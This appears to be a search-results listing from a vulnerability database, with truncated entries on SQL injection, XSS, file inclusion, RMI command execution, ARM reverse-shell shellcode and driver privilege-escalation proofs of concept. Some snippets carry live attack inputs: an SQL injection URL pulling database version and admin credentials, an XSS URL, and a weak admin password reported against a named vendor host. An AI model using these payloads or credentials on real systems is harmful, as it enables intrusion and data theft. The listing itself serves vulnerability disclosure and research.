3110 matches found
Java RMI services remote command execution exploit-vulnerability warning-the black bar safety net
Java RMI service is a remote method call Remote Method Invocation in. It is a mechanism that is able to make in a java virtual machine on the object calling another Java virtual machine object. In Java Web, many places will use RMI to communicate with each other to call. For example, many large...
workyi人才系统 2.5版本 /map/showtag.aspx 文件SQL注入漏洞
No description provided by source...
Linux/ARM - Connect back to {ip:port} with /bin/sh - 95 bytes
Linux/ARM - Connect back to ip:port with /bin/sh - 95 bytes. Shellcode exploit for arm platform / Title : Linux/ARM - Connect back to ip:port with /bin/sh Length : 95 bytes Date : 2014-06-03 Author : Xeon Tested : ARM1176 rev6 v6l / include include char shellcode =...
致远某内部系统存在大量弱口令
简要描述： 详细说明： http://seeyonqd.seeyon.com/seeyon/index.jsp http://seeyonqd.seeyon.com//seeyon/getAjaxDataServlet?S=ajaxOrgManager&M=isOldPasswordCorrect&CL=true&RVT=XML&P1String=admin&P2String=wy 漏洞证明： 抓包 密码采用123456 加载字典 GET...
InstaLinker <= 1.1.1 - Reflected Cross-Site Scripting (XSS)
Due to a lack of input sanitization in the includes/instalinker-admin-preview.php file, it is possible to utilise a reflected XSS vector to run a script in the target user's browser and potentially compromise the WordPress installation...
Libsys图书管理系统 V5.5 变量覆盖漏洞
登陆页面 sessionstart ; if isset $REQUEST'username' $strUser = trim $REQUEST'username' ; $strInput = trim $REQUEST'passwd' ; $strMsg = "用户名或者密码错误"; switch $strUser case "opacadmin" : $strPassWd = $strPassWdFile; $strMsg = verifypwd $strInput, $strPassWd ; if $strMsg == true $SESSION'ADMINUSER' =...
MiniUPnP igd_desc_parse. c buffer overflow
No description provided by source. TALOS-CAN-0035 CVE 2015-6031 exploit by Aleksandar Nikolic illustrating the SSP bypass with a stack buffer overflow in an application that uses pthreads. import socket import struct SSDP reply to MSEARCH request, specifies the location URL reply = """HTTP/1.1 20...
昆石 VOS2009 文件读取漏洞
No description provided by source...
Shadows-IT Designs Local File Inclusion
No description provided by source...
StrongSoft灾害预警系统strFieldName参数SQL注入漏洞
注入链接：/Response/AjaxHandle/AjaxSingleGetReferenceFieldValue.ashx 注入参数：strFieldName 【获取数据库版本】 /Response/AjaxHandle/AjaxSingleGetReferenceFieldValue.ashx?strFieldValue=1&strSelectFieldCollection=1&tableName=sysobjects&strFieldName=convertint,@@version 【管理员账号密码】...
Buffalo NAS Remote Shutdown
The Buffalo NAS device includes a web interface located at its IP address. A shutdown of the device can be initiated without confirmation by loading the endpoint /shutdown.html on this address. This shutdown powers off the device, requiring physical access to restart. The shutdown webpage has no...
Linux Kernel 3.x/4.x - prima WLAN Driver Heap Overflow
/ Coder: Shawn the R0ck, [email protected] Co-worker: Pray3r, [email protected] Compile: arm-linux-androideabi-gcc wextpoc.c --sysroot=$SYSROOT -pie ./a.out wlan0 Boom......shit happens as always;- / include include include include include include include include typedef unsigned char vU8t; defin...
Huawei Mate 7 - '/dev/hifi_misc' Privilege Escalation
/ HuaWei Mate7 hifi driver Poc Writen by pray3r, / include include include include include include define HIFIMISCIOCTLWRITEPARAMS IOWR'A', 0x75, struct misciosyncparam struct misciosyncparam void parain; unsigned int parasizein; void paraout; unsigned int parasizeout; ; int mainint arg, char arg...
YouYaX_V5.47 YouYa.php param 参数 SQL 注入
问题出现在ORG/YouYa.php文件中。 第356行： public function find$table, $ext = "string", $param //在 param 中寻找与给定的正则表达式 pattern 所匹配的子串 if pregmatchall"/=/", $param, $tmp $sql = "select from " . $table . " where " . $param; //echo 'x'.$sql; else $param = "id=$param"; $sql = "select from " . $table . " where "...
CSCMS在app/controllers/api/count.php中存在sql注入
No description provided by source...
大汉 jcms m_5_7/replace/export.jsp 任意文件下载漏洞
No description provided by source...
CVE-2016-0852
CVE-2016-0852 affects Advantech WebAccess (pre-8.1). The vulnerability, described in ICS-CERT and CVE records, allows remote attackers to bypass an administrative requirement and gain access to files/folders via unspecified vectors. Affected versions include WebAccess 8.0 and earlier. Impact desc...
Commentator <= 2.5.2 - Reflected Cross-Site Scripting (XSS)
The commentator WordPress plugin was affected by a Reflected Cross-Site Scripting XSS security vulnerability. http://www.example.com/wp-admin/admin-ajax.php?action=commentatorsocialsignin&provider=facebook"...